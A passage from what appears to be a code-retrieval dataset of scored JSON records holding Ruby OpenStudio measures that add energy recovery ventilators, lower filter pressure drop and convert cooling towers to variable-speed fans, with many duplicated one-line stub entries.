oa_system.outboardOANode\t\n if oa_node.empty?\n runner.registerError(\"OA intake on #{air_loop.name} has no outboard OA node, cannot continue.\")\n end\n oa_node = oa_node.get\n \n # Create the ERV and set its properties\n erv = OpenStudio::Model::HeatExchangerAirToAirSensibleAndLatent.new(model)\n airloops_ervd << air_loop\n erv.addToNode(oa_node)\t\n erv.setHeatExchangerType(\"Rotary\")\n # TODO Come up with scheme for estimating power of ERV motor wheel\n # which might require knowing airlow (like prototype buildings do).\n # erv.setNominalElectricPower(value_new)\n erv.setEconomizerLockout(true)\n erv.setSupplyAirOutletTemperatureControl (false)\n \n erv.setSensibleEffectivenessat100CoolingAirFlow(sensible_eff_at_100_cooling)\n erv.setSensibleEffectivenessat75CoolingAirFlow(sensible_eff_at_75_cooling)\n erv.setLatentEffectivenessat100CoolingAirFlow(latent_eff_at_100_cooling)\n erv.setLatentEffectivenessat75CoolingAirFlow(latent_eff_at_75_cooling)\n \n erv.setSensibleEffectivenessat100HeatingAirFlow(sensible_eff_at_100_heating)\n erv.setSensibleEffectivenessat75HeatingAirFlow(sensible_eff_at_75_heating)\n erv.setLatentEffectivenessat100HeatingAirFlow(latent_eff_at_100_heating)\n erv.setLatentEffectivenessat75HeatingAirFlow(latent_eff_at_75_heating)\n\n # Increase fan pressure caused by the ERV\n fans = []\n fans += air_loop.supplyComponents(\"OS:Fan:VariableVolume\".to_IddObjectType)\n fans += air_loop.supplyComponents(\"OS:Fan:ConstantVolume\".to_IddObjectType)\n if fans.size == 0\n runner.registerWarning(\"#{air_loop.name.get} has no fan; fan pressure for ERV not modified\")\n else\n if fans[0].to_FanConstantVolume.is_initialized\n fans[0].to_FanConstantVolume.get.setPressureRise(fan_pressure_increase_Pa)\n elsif fans[0].to_FanVariableVolume.is_initialized\n fans[0].to_FanVariableVolume.get.setPressureRise(fan_pressure_increase_Pa)\n end\n end\n \n end\n \n # Not applicable if no ERVs were added\n if airloops_ervd.size == 0\n runner.registerAsNotApplicable(\"Not Applicable - no ERVs were added to this model.\")\n return true\n end\n \n # Not applicable if all airloops already had ERVs\n if initial_airloops.size == airloops_already_erv.size\n runner.registerAsNotApplicable(\"Not Applicable - all airloops already had ERVs.\")\n return true\n end \n \n # Report the final condition\n runner.registerFinalCondition(\"ERVs were added to #{airloops_ervd.size} air systems in the building.\")\n\n return true\n\n end", "title": "" }, { "docid": "feea63d77d20925ecfcf2345e336d535", "score": "0.62926763", "text": "def communicate_measure_result(_ = nil, _ = nil); end", "title": "" }, { "docid": "feea63d77d20925ecfcf2345e336d535", "score": "0.62926763", "text": "def communicate_measure_result(_ = nil, _ = nil); end", "title": "" }, { "docid": "99ab945a1927e84fe17934e1440b9eb0", "score": "0.62466925", "text": "def measure(&block); @measure = block; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.622369", "text": "def arguments; end", "title": "" }, { "docid": "49665d066ffcf52f2c37b2b1c268e6fd", "score": "0.62231857", "text": "def arguments; end", "title": "" }, { "docid": "df049096c3fdcfed6d6ecd3a9b2dface", "score": "0.6152984", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end \n \n\n pressure_drop_reduction_inh2o = runner.getDoubleArgumentValue(\"pressure_drop_reduction_inh2o\",user_arguments)\n\n \n \n # Check arguments for reasonableness\n if pressure_drop_reduction_inh2o >= 4\n runner.registerError(\"Pressure drop reduction must be less than 4 in W.C. to be reasonable.\")\n return false\n end\n\n # Loop through all air loops, find the fan,\n # and reduce the pressure drop to model the impact\n # of lower pressure drop filters.\n air_loops_pd_lowered = []\n air_loops = []\n model.getAirLoopHVACs.each do |air_loop|\n air_loops << air_loop\n air_loop.supplyComponents.each do |supply_comp|\n fan = nil\n if supply_comp.to_FanConstantVolume.is_initialized\n fan = supply_comp.to_FanConstantVolume.get\n elsif supply_comp.to_FanVariableVolume.is_initialized\n fan = supply_comp.to_FanVariableVolume.get\n end\n if !fan.nil?\n current_pd_pa = fan.pressureRise\n current_pd_inh2o = OpenStudio.convert(current_pd_pa, \"Pa\", \"inH_{2}O\").get\n new_pd_inh2o = current_pd_inh2o - pressure_drop_reduction_inh2o\n # Error if requested pressur drop less than 0\n if new_pd_inh2o <= 0\n runner.registerWarning(\"Initial pressure drop of #{air_loop.name} was #{current_pd_inh2o.round(1)}, less than the requested pressure drop reduction of #{pressure_drop_reduction_inh2o.round(1)}. Pressure drop for this loop was unchanged.\")\n next # Next airloop\n end\n new_pd_pa = OpenStudio.convert(new_pd_inh2o, \"inH_{2}O\", \"Pa\").get\n fan.setPressureRise(new_pd_pa)\n runner.registerInfo(\"Lowered pressure drop on #{air_loop.name} by #{pressure_drop_reduction_inh2o} in W.C. from #{current_pd_inh2o.round(1)} in W.C to #{new_pd_inh2o.round(1)} in W.C.\")\n air_loops_pd_lowered << air_loop\n end\n end\n end\n \n # Not applicable if no air loops\n if air_loops.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because there were no airloops in the building.\")\n return true \n end\n \n # Not applicable if no airloops were modified\n if air_loops_pd_lowered.size == 0\n runner.registerAsNotApplicable(\"This measure is not applicable because none of the airloops in the model were impacted.\")\n return true\n end \n \n # Report final condition\n runner.registerFinalCondition(\"Lowered pressure drop on air filters in #{air_loops_pd_lowered.size} air loops.\")\n\n return true\n\n end", "title": "" }, { "docid": "40cc1e12eec40163d5b4c0079f659881", "score": "0.61371326", "text": "def measure\n raise \"something broke during measurement\"\n end", "title": "" }, { "docid": "c80e9e3c4b70fbeab28aef50eeb91b53", "score": "0.61020213", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\t\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n \n# Initialize variables for allowing variable scopes within the method\t\n\tcooltools = []\n\tyorkcalc = []\n\tsingle_speed = []\n\ttwo_speed = []\n\tvariable_speed = []\n\t\n# Create array of all plant loops where plantLoop.SizingPlant.Looptype = \"Condensor\" \t\n\tcooling_tower_plant_loop_array = []\n\tmodel.getPlantLoops.each do |plantLoop|\n\t\tloop_type = plantLoop.sizingPlant.loopType\n\t\tif loop_type == \"Condenser\" \n\t\t\tcooling_tower_plant_loop_array << plantLoop\n\t\tend\n\t\t\n\tend #loop through plantloops\n\t\n\t# write NA message if no condenser plant loops\n\tif cooling_tower_plant_loop_array.size == 0 \n\t\trunner.registerAsNotApplicable(\"Model does not contain any plantloops where Loop Type = Condenser. This measure will not alter the model.\")\n\tend\n\t\n\t# Loop through cooling_tower_plant_loop_array to find cooling tower objects\t\n\tcooling_tower_plant_loop_array.each do |pl|\n\t\t\n\t\tpl.supplyComponents.each do |sc|\n\t\t\n\t\t\t# get count of OS:CoolingTowerPerformanceCoolTools objects\n\t\t\tif sc.to_CoolingTowerPerformanceCoolTools.is_initialized\n\t\t\t\tcooltools << sc.to_CoolingTowerPerformanceCoolTools.get\n\t\t\tend\n\t\t\t\n\t\t\t# get count of OS:CoolingTowerPerformanceYorkCalc objects\t\t\n\t\t\tif sc.to_CoolingTowerPerformanceYorkCalc.is_initialized\n\t\t\t\tyorkcalc << sc.to_CoolingTowerPerformanceYorkCalc.get\n\t\t\tend\n\t\t\t\n\t\t\t\t\t\t\n\t\t\t# get count of OS:CoolingTowerSingleSpeed objects\t\t\n\t\t\tif sc.to_CoolingTowerSingleSpeed.is_initialized\n\t\t\t\tsingle_speed << sc.to_CoolingTowerSingleSpeed.get\n\t\t\tend\n\t\t\t\n\t\t\t# get count of OS:CoolingTowerTwoSpeed objects\t\t\n\t\t\tif sc.to_CoolingTowerTwoSpeed.is_initialized\n\t\t\t\ttwo_speed << sc.to_CoolingTowerTwoSpeed.get\n\t\t\tend\n\t\t\t\n\t\t\t# get count of OS:CoolingTowerTwoSpeed objects\t\t\n\t\t\tif sc.to_CoolingTowerVariableSpeed.is_initialized\n\t\t\t\tvariable_speed << sc.to_CoolingTowerVariableSpeed.get\n\t\t\tend\n\t\t\t\n\t\tend #loop through supply components\n\t\n\tend #loop through cooling tower plant array\n\t\n\t# count the number of objects in the resulting array\n\tcooltools_count = cooltools.length\n\tyorkcalc_count = yorkcalc.length\n\tsingle_speed_count = single_speed.length\n\ttwo_speed_count = two_speed.length\n\tvariable_speed_count = variable_speed.length\n\n\t\n\tapplicable = single_speed_count + two_speed_count\n\tnon_applicable = variable_speed_count + yorkcalc_count + cooltools_count\n\ttotal = applicable + non_applicable\n\t\n # report initial condition of model\n runner.registerInitialCondition(\"The model has #{total} cooling tower objects, out of which #{applicable} will be modified. Number of existing cooling towers which is (are) already configured for variable speed fan operation = #{non_applicable}, and will not be modified.\")\n\t\n\t# report NA message if all cooling towers are already configured for variable speed fans\n if applicable == 0\n\t\trunner.registerAsNotApplicable(\"This measure is not applicable. All existing cooling tower objects in the model are all already configured for variable airflow operation.\")\n\t\treturn true\n\tend \n\n\t#Step 1 - Loop through Applicible Single Speed Tower objects \n\tsingle_speed.each do |ss|\n\n\t\t# Retrieve status of object attributes that are optional and not able to be autosized\t\t\n \n\t\tif ss.nominalCapacity.is_initialized\n\t\t\tnominal_capacity = ss.nominalCapacity.get\n\t\tend\t\t\n\t\t\n\t\tif ss.freeConvectionCapacity.is_initialized\n\t\t\tfree_convection_capacity = ss.freeConvectionCapacity.get\n\t\tend\t\t\n\t\t\n\t\tif ss.basinHeaterOperatingSchedule.is_initialized\n\t\t\tbasin_heater_operating_schedule = ss.basinHeaterOperatingSchedule.get\n\t\tend\t\t\n\t\t\n\t\tif ss.evaporationLossMode.is_initialized\n\t\t\tevaporation_loss_mode = ss.evaporationLossMode.get\n\t\tend\t\t\n\t\n\t\tif ss.blowdownCalculationMode.is_initialized\n\t\t\tblowdown_calculation_mode = ss.blowdownCalculationMode.get\n\t\tend\t\t\n\t\t\t\n\t\tif ss.blowdownMakeupWaterUsageSchedule.is_initialized\n\t\t\tblowdown_makeup_water_usage_schedule = ss.blowdownMakeupWaterUsageSchedule.get\n\t\tend\t\t\n\n\t\t# Retrieving status of fields that are optional but are able to be autosized\n\t\tif ss.designWaterFlowRate.is_initialized\n\t\t\tdesign_water_flow_rate = ss.designWaterFlowRate.get\n\t\tend\t\n\n\t\tif ss.designAirFlowRate.is_initialized\n\t\t\tdesign_air_flow_rate = ss.designAirFlowRate.get\n\t\tend\n\t\t\n\t\tif ss.fanPoweratDesignAirFlowRate.is_initialized\n\t\t\tfan_power_at_design_air_flow_rate = ss.fanPoweratDesignAirFlowRate.get\n\t\tend\n\t\t\n\t\tif ss.uFactorTimesAreaValueatDesignAirFlowRate.is_initialized\n\t\t\tu_factor_times_area_value_at_design_airflow_rate = ss.uFactorTimesAreaValueatDesignAirFlowRate.get\n\t\tend\n\n\t\tif ss.airFlowRateinFreeConvectionRegime.is_initialized\n\t\t\tair_flow_rate_in_free_convenction_regime = ss.airFlowRateinFreeConvectionRegime.get\n\t\tend\t\t\n\t\t\t\n\t\tif ss.uFactorTimesAreaValueatFreeConvectionAirFlowRate.is_initialized\n\t\t\tufactor_times_area_value_at_free_convection_air_flow_rate = ss.uFactorTimesAreaValueatFreeConvectionAirFlowRate.get\n\t\tend\t\t\n\t\t\n\t\t# Retrieving status of autosizable files \n\t\tdesign_water_flow_rate_autosize_status = ss.isDesignWaterFlowRateAutosized\n\t\tdesign_air_flow_rate_autosize_status = ss.isDesignAirFlowRateAutosized\n\t\tfan_power_at_design_flow_rate_autosize_status = ss.isFanPoweratDesignAirFlowRateAutosized\n\t\tu_factor_times_area_value_at_design_airflow_rate_autosize_status = ss.isUFactorTimesAreaValueatDesignAirFlowRateAutosized\n\t\tair_flow_rate_in_free_convection_regime_autosize_status = ss.isAirFlowRateinFreeConvectionRegimeAutosized\n\t\tufactor_times_area_value_at_free_convection_air_flow_rate_autosize_status = ss.isUFactorTimesAreaValueatFreeConvectionAirFlowRateAutosized\n\t\t\n\t\t# Retrieving Attributes that are required (not optional or autosizable) \n\t\tss_name = ss.name\n\t\tperformance_input_method = ss.performanceInputMethod\t\n\t\tbasin_heater_capacity = ss.basinHeaterCapacity\n\t\tbasin_heater_setpoint_temp = ss.basinHeaterSetpointTemperature\n\t\tevaporation_loss_factor = ss.evaporationLossFactor\n\t\tdrift_loss_percent = ss.driftLossPercent\n\t\tblowdown_concentration_ratio = ss.blowdownConcentrationRatio\n\t\tcapacity_control = ss.capacityControl\t\t\n\t\tnumber_of_cells = ss.numberofCells\n\t\tcell_control = ss.cellControl\n\t\tcell_minimum_water_flow_rate_fraction = ss.cellMinimumWaterFlowRateFraction\n\t\tcell_maximum_water_flow_rate_fraction = ss.cellMaximumWaterFlowRateFraction\n\t\tsizing_factor = ss.sizingFactor\n\t\t\t\t\n\t# Step 2 - Get inlet node of the current single speed cooling tower object\n\tinlet_node = ss.inletModelObject.get.to_Node.get\n \n\t# Step 3 - Add new variable speed cooling tower object to the same inlet node\n\tnew_vs_cooling_tower = OpenStudio::Model::CoolingTowerVariableSpeed.new(model)\n new_vs_cooling_tower.addToNode(inlet_node)\n\n\t# Step 4 - Create a new fan power ratio function of airflow rate ratio curve\n\t#TODO - check the coefficient values against several VS cooling tower selections using selection software\n\tfan_pwr_func_airflow_ratio_curve = OpenStudio::Model::CurveCubic.new(model)\n\tfan_pwr_func_airflow_ratio_curve.setCoefficient1Constant(-0.0093)\n\tfan_pwr_func_airflow_ratio_curve.setCoefficient2x(0.0512)\n\tfan_pwr_func_airflow_ratio_curve.setCoefficient3xPOW2(-0.0838)\n\tfan_pwr_func_airflow_ratio_curve.setCoefficient4xPOW3(1.0419)\n\tfan_pwr_func_airflow_ratio_curve.setMinimumValueofx(0.15)\n\tfan_pwr_func_airflow_ratio_curve.setMaximumValueofx(1.0)\n\t\n\t# Step 5 - Configure attributes of new variable speed cooling tower\n\tnew_vs_cooling_tower.setName(\"#{ss.name} - Replaced Tower with VS Fan\")\n\tnew_vs_cooling_tower.setBasinHeaterCapacity(basin_heater_capacity)\n\tnew_vs_cooling_tower.setDesignInletAirWetBulbTemperature(25.56) # See source below\n\tnew_vs_cooling_tower.setDesignRangeTemperature(5.56)\t# See source below\n\tnew_vs_cooling_tower.setDesignApproachTemperature(3.89)\t\t# See source below\n\t\n\t# Source: Based on CTI Standrard 201 Appendix E Cooling Tower Test Condition #47 \n\t# See http://www.cti.org/downloads/STD201_AppendixE-CT_CC_EC_Feb2015.xlsx\n\t# Condition Reference #47\n\t# Wet Bulb = 25.56 °C \n\t# Range °C = 5.56\n\t# Approach = 3.89 °C \n\t# Inlet Water Temperature = 35.00 °C = \n\t# Outlet Water Temperature = 29.44 °C\n\t\t\n\tif design_water_flow_rate_autosize_status == true\n\t\tnew_vs_cooling_tower.autosizeDesignWaterFlowRate \t\n\telse\n\t\tnew_vs_cooling_tower.setDesignWaterFlowRate(design_water_flow_rate)\n\tend\n\n\tif design_air_flow_rate_autosize_status == true\n\t\tnew_vs_cooling_tower.autosizeDesignAirFlowRate\n\telse\n\t\tnew_vs_cooling_tower.setDesignAirFlowRate(design_air_flow_rate)\n\tend\n\n\tif fan_power_at_design_flow_rate_autosize_status == true\n\t\tnew_vs_cooling_tower.autosizeDesignFanPower\n\telse\n\t\tnew_vs_cooling_tower.setDesignFanPower(fan_power_at_design_air_flow_rate)\n\tend\n\n\tnew_vs_cooling_tower.setFanPowerRatioFunctionofAirFlowRateRatioCurve(fan_pwr_func_airflow_ratio_curve)\n\n\tss_min_airflow_ratio = 0.20 # TODO check against selection software\n\tnew_vs_cooling_tower.setMinimumAirFlowRateRatio(ss_min_airflow_ratio) \n\tss_fract_twr_cap_free_con = 0.125 # TODO check against selection software\n\tnew_vs_cooling_tower.setFractionofTowerCapacityinFreeConvectionRegime(ss_fract_twr_cap_free_con) \n\tnew_vs_cooling_tower.setBasinHeaterSetpointTemperature(basin_heater_setpoint_temp)\n\n\tif ss.basinHeaterOperatingSchedule.is_initialized\n\t\tnew_vs_cooling_tower.setBasinHeaterOperatingSchedule(basin_heater_operating_schedule)\n\tend\t\n\t\n\tif ss.evaporationLossMode.is_initialized\n\t\tnew_vs_cooling_tower.setEvaporationLossMode(evaporation_loss_mode)\n\tend\t\n\n\tnew_vs_cooling_tower.setEvaporationLossFactor(evaporation_loss_factor)\n\tnew_vs_cooling_tower.setDriftLossPercent(drift_loss_percent)\n\n\tif ss.blowdownCalculationMode.is_initialized\n\t\tnew_vs_cooling_tower.setBlowdownCalculationMode(blowdown_calculation_mode)\n\tend\t\t\n\n\tnew_vs_cooling_tower.setBlowdownConcentrationRatio(blowdown_concentration_ratio)\n\t\t\n\tif ss.blowdownMakeupWaterUsageSchedule.is_initialized\n\t\tnew_vs_cooling_tower.setBlowdownMakeupWaterUsageSchedule(blowdown_makeup_water_usage_schedule)\n\tend\n\t\n\tnew_vs_cooling_tower.setNumberofCells(number_of_cells)\n\tnew_vs_cooling_tower.setCellControl(cell_control)\n\tnew_vs_cooling_tower.setCellMinimumWaterFlowRateFraction(cell_minimum_water_flow_rate_fraction)\n\tnew_vs_cooling_tower.setCellMaximumWaterFlowRateFraction(cell_maximum_water_flow_rate_fraction)\n\tnew_vs_cooling_tower.setSizingFactor(sizing_factor)\n\t\n\t# Step 6 - Remove the existing single speed cooling tower\n\tss.remove\n\t\n\n\n\tif design_water_flow_rate_autosize_status == true\n\t\t\n\telse\n\t\t\n\tend\n\t\n\tif design_air_flow_rate_autosize_status == true\n\t\t\n\telse\n\t\t\n\tend\n\n\tif fan_power_at_design_flow_rate_autosize_status == true\n\t\t\n\telse\n\t\t\n\tend\n\t\n\t\n\n\tif ss.basinHeaterOperatingSchedule.is_initialized\n\t\t\n\tend\n\n\tif ss.evaporationLossMode.is_initialized\n\t\t\n\tend\n\t\t\n\n\n\tif ss.blowdownCalculationMode.is_initialized\n\t\t\n\tend\n\t\n\t\n\t\n\tif ss.blowdownMakeupWaterUsageSchedule.is_initialized\n\t\t\n\tend\n\n runner.registerInfo(\"Removed CoolingTowerSingleSpeed object = '#{ss.name}'.\\n New CoolingTowerVariableSpeed object = '#{new_vs_cooling_tower.name}'\\n Basin heater capacity = #{basin_heater_capacity} W \\n Design Inlet Air Wetbulb Temp based on CTI testing standards = 25.6C \\n Design Range Temp based on CTI testing standards = 5.56°C \\n Design Approach Temperature based on CTI testing standards = 3.89°C \\n Design water flow rate (m3/sec) = Autosize#{design_water_flow_rate}, same as the original cooling tower \\n Design air flow rate setting (m3/sec) = Autosize#{design_air_flow_rate} \\n Design Fan Power setting (W) = Autosize#{fan_power_at_design_air_flow_rate} \\n New performance curve to describe the tower fan power vs airflow unloading curve = '#{fan_pwr_func_airflow_ratio_curve.name}' \\n Minimum tower airflow ratio, design airflow based on best engineering practice = #{ss_min_airflow_ratio} \\n Fraction of tower capacity in free convection regime, based on industry standards = #{ss_fract_twr_cap_free_con} \\n Basin heater setpoint temp = #{basin_heater_setpoint_temp} Deg C, #{basin_heater_operating_schedule} \\n Evaporation loss mode setting = '#{evaporation_loss_mode}' \\n Evaporation loss factor of #{evaporation_loss_factor} \\n Drift loss = #{drift_loss_percent}% \\n Blowdown calculation mode setting = '#{blowdown_calculation_mode}' \\n Blowdown concentration ratio = #{blowdown_concentration_ratio} #{blowdown_makeup_water_usage_schedule} \\n Info on Cells: \\nSame number of cells of the original tower, #{number_of_cells} cell(s) \\n Cell control strategy = '#{cell_control}' \\n Cell minimum water flow rate fraction = #{cell_minimum_water_flow_rate_fraction} \\n Cell minimum water flow rate fraction = #{cell_maximum_water_flow_rate_fraction} \\n Sizing factor of #{sizing_factor}\")\n\n\tend #loop through array of single speed towers\n\t\n\t# loop through array of two speed towers\n\ttwo_speed.each do |ts|\t\n\t\n\t # Step 1 - Store existing attribute values for re-use \t\t\n\t\t# Retrieve status of object attributes that are optional and not able to be autosized\n\t\t\n\t\tif ts.highSpeedNominalCapacity.is_initialized\n\t\t\thigh_speed_nominal_capacity = ts.highSpeedNominalCapacity.get\n\t\tend\n\t\t\n\t\tif ts.basinHeaterOperatingSchedule.is_initialized\n\t\t\tbasin_heater_operating_schedule = ts.basinHeaterOperatingSchedule.get\n\t\tend\n\t\t\n\t\tif ts.evaporationLossMode.is_initialized\n\t\t\tevaporation_loss_mode = ts.evaporationLossMode.get\n\t\tend\n\t\t\n\t\tif ts.blowdownCalculationMode.is_initialized\n\t\t\tblowdown_calculation_mode = ts.blowdownCalculationMode.get\n\t\tend\n\t\t\n\t\tif ts.blowdownMakeupWaterUsageSchedule.is_initialized\n\t\t\tblowdown_makeup_water_usage_schedule = ts.blowdownMakeupWaterUsageSchedule.get\n\t\tend\n\t\t\n\t\t# Retrieving status of fields that are optional but are able to be autosized\n\t\tif ts.designWaterFlowRate.is_initialized\n\t\t\tdesign_water_flow_rate = ts.designWaterFlowRate.get\n\t\tend\n \n\t\tif ts.highFanSpeedAirFlowRate.is_initialized\n\t\t\thigh_fan_speed_air_flow_rate = ts.highFanSpeedAirFlowRate.get\n\t\tend\n \n\t\tif ts.highFanSpeedFanPower.is_initialized\n\t\t\thigh_fan_speed_power = ts.highFanSpeedFanPower.get\n\t\tend\n \n\t\tif ts.highFanSpeedUFactorTimesAreaValue.is_initialized\n\t\t\thigh_fan_speed_u_factor_times_area_value = ts.highFanSpeedUFactorTimesAreaValue.get\n\t\tend\n\t\t\n\t\tif ts.lowFanSpeedAirFlowRate.is_initialized\n\t\t\tlow_fan_speed_air_flow_rate = ts.lowFanSpeedAirFlowRate.get\n\t\tend\n\n\t\tif ts.lowFanSpeedFanPower.is_initialized\n\t\t\tlow_fan_speed_fan_power = ts.lowFanSpeedFanPower.get\n\t\tend\n\t\t\n\t\tif ts.lowFanSpeedUFactorTimesAreaValue.is_initialized\n\t\t\tlow_fan_speed_u_factor_times_area_value = ts.lowFanSpeedUFactorTimesAreaValue.get\n\t\tend\n\n\t\tif ts.freeConvectionRegimeAirFlowRate.is_initialized\n\t\t\tfree_convection_regime_air_flow_rate = ts.freeConvectionRegimeAirFlowRate.get\n\t\tend\n\t\t\t\t\n\t\tif ts.freeConvectionRegimeUFactorTimesAreaValue.is_initialized\n\t\t\tfree_convection_regime_u_factor_time_area_value = ts.freeConvectionRegimeUFactorTimesAreaValue.get\n\t\tend\n\t\t\n\t\tif ts.lowSpeedNominalCapacity.is_initialized \n\t\t\tlow_speed_nominal_capacity = ts.lowSpeedNominalCapacity.get\n\t\tend\n\n\t\tif ts.freeConvectionNominalCapacity.is_initialized \n\t\t\tfree_convection_nominal_capacity = ts.freeConvectionNominalCapacity.get\n\t\tend\n\t\t\n\t\t# Retrieving status of autosizable files \n\t\tdesign_water_flow_rate_autosize_status = ts.isDesignWaterFlowRateAutosized\n\t\thigh_fan_speed_fan_air_flow_rate_autosize_status = ts.isHighFanSpeedAirFlowRateAutosized\n\t\thigh_fan_speed_fan_power_autosize_status = ts.isHighFanSpeedFanPowerAutosized\n\t\thigh_fan_speed_u_factor_times_area_value_autosize_status = ts.isHighFanSpeedUFactorTimesAreaValueAutosized\n\t\tlow_fan_speed_fan_air_flow_rate_autosize_status = ts.isLowFanSpeedAirFlowRateAutosized\n\t\tlow_fan_speed_fan_fan_power_autosize_status = ts.isLowFanSpeedFanPowerAutosized\n\t\tlow_fan_speed_u_factor_times_area_value_autosize_status = ts.isLowFanSpeedUFactorTimesAreaValueAutosized\n\t\tfree_convection_regime_air_flow_rate_autosize_status = ts.isFreeConvectionRegimeAirFlowRateAutosized\n\t\tfree_convection_regime_u_factor_times_area_value_autosize_status = ts.isFreeConvectionRegimeUFactorTimesAreaValueAutosized\n\t\tlow_speed_nominal_capacity_autosize_status = ts.isLowSpeedNominalCapacityAutosized\n\t\tfree_convection_nominal_capacity_autosize_status = ts.isFreeConvectionNominalCapacityAutosized\n\t\t\n\t\t# Retrieving Attributes that are required (not optional or autosizable) \n\t\tts_name = ts.name\n\t\tlow_fan_speed_fan_air_flow_rate_sizing_factor = ts.lowFanSpeedAirFlowRateSizingFactor\n\t\tlow_fan_speed_fan_power_sizing_factor = ts.lowFanSpeedFanPowerSizingFactor\n\t\tlow_fan_speed_u_factor_times_area_sizing_factor = ts.lowFanSpeedUFactorTimesAreaSizingFactor\n\t\tfree_convection_regime_air_flow_rate_sizing_factor = ts.freeConvectionRegimeAirFlowRateSizingFactor\n\t\tfree_convection_regime_u_factor_times_area_value_sizing_factor = ts.freeConvectionUFactorTimesAreaValueSizingFactor\n\t\tperformance_input_method = ts.performanceInputMethod\n\t\theat_rejection_capacity_and_nominal_capacity_sizing_ratio = ts.heatRejectionCapacityandNominalCapacitySizingRatio\n\t\tlow_speed_nominal_capacity_sizing_factor = ts.lowSpeedNominalCapacitySizingFactor\t\t\n\t\tfree_convection_nominal_capacity_sizing_factor = ts.freeConvectionNominalCapacitySizingFactor\n\t\tbasin_heater_capacity = ts.basinHeaterCapacity\t\t\n\t\tbasin_heater_setpoint_temp = ts.basinHeaterSetpointTemperature\n\t\tevaporation_loss_factor = ts.evaporationLossFactor\n\t\tdrift_loss_percent = ts.driftLossPercent\n\t\tblowdown_concentration_ratio = ts.blowdownConcentrationRatio\n\t\tnumber_of_cells = ts.numberofCells\t\n\t\tcell_control = ts.cellControl\n\t\tcell_minimum_water_flow_rate_fraction = ts.cellMinimumWaterFlowRateFraction\n\t\tcell_maximum_water_flow_rate_fraction = ts.cellMaximumWaterFlowRateFraction\t\n\t\tsizing_factor = ts.sizingFactor\t\t\n\t\t\n\t\t# Step 2 - Get inlet node of the current single speed cooling tower object\n\t\tinlet_node = ts.inletModelObject.get.to_Node.get\n\t\t\n\t\t# Step 3 - Add new variable speed cooling tower object to the same inlet node\n\t\tnew_vs_cooling_tower = OpenStudio::Model::CoolingTowerVariableSpeed.new(model)\n\t\tnew_vs_cooling_tower.addToNode(inlet_node)\n\t\t\n\t\t# Step 4 - Create new fan power ratio function of airflow rate ratio curve\n\t\t#TODO - check the coefficient values against several VS cooling tower selections using selection software\n\t\tfan_pwr_func_airflow_ratio_curve = OpenStudio::Model::CurveCubic.new(model)\n\t\tfan_pwr_func_airflow_ratio_curve.setCoefficient1Constant(-0.0093)\n\t\tfan_pwr_func_airflow_ratio_curve.setCoefficient2x(0.0512)\n\t\tfan_pwr_func_airflow_ratio_curve.setCoefficient3xPOW2(-0.0838)\n\t\tfan_pwr_func_airflow_ratio_curve.setCoefficient4xPOW3(1.0419)\n\t\tfan_pwr_func_airflow_ratio_curve.setMinimumValueofx(0.15)\n\t\tfan_pwr_func_airflow_ratio_curve.setMaximumValueofx(1.0)\n\t\t\n\t\t# Step 5 - Configure attributes of new variable speed cooling tower\n\t\tnew_vs_cooling_tower.setName(\"#{ts.name} - Replaced Tower with VS Fan\")\n\t\tnew_vs_cooling_tower.setBasinHeaterCapacity(basin_heater_capacity)\n\t\tnew_vs_cooling_tower.setDesignInletAirWetBulbTemperature(25.56) 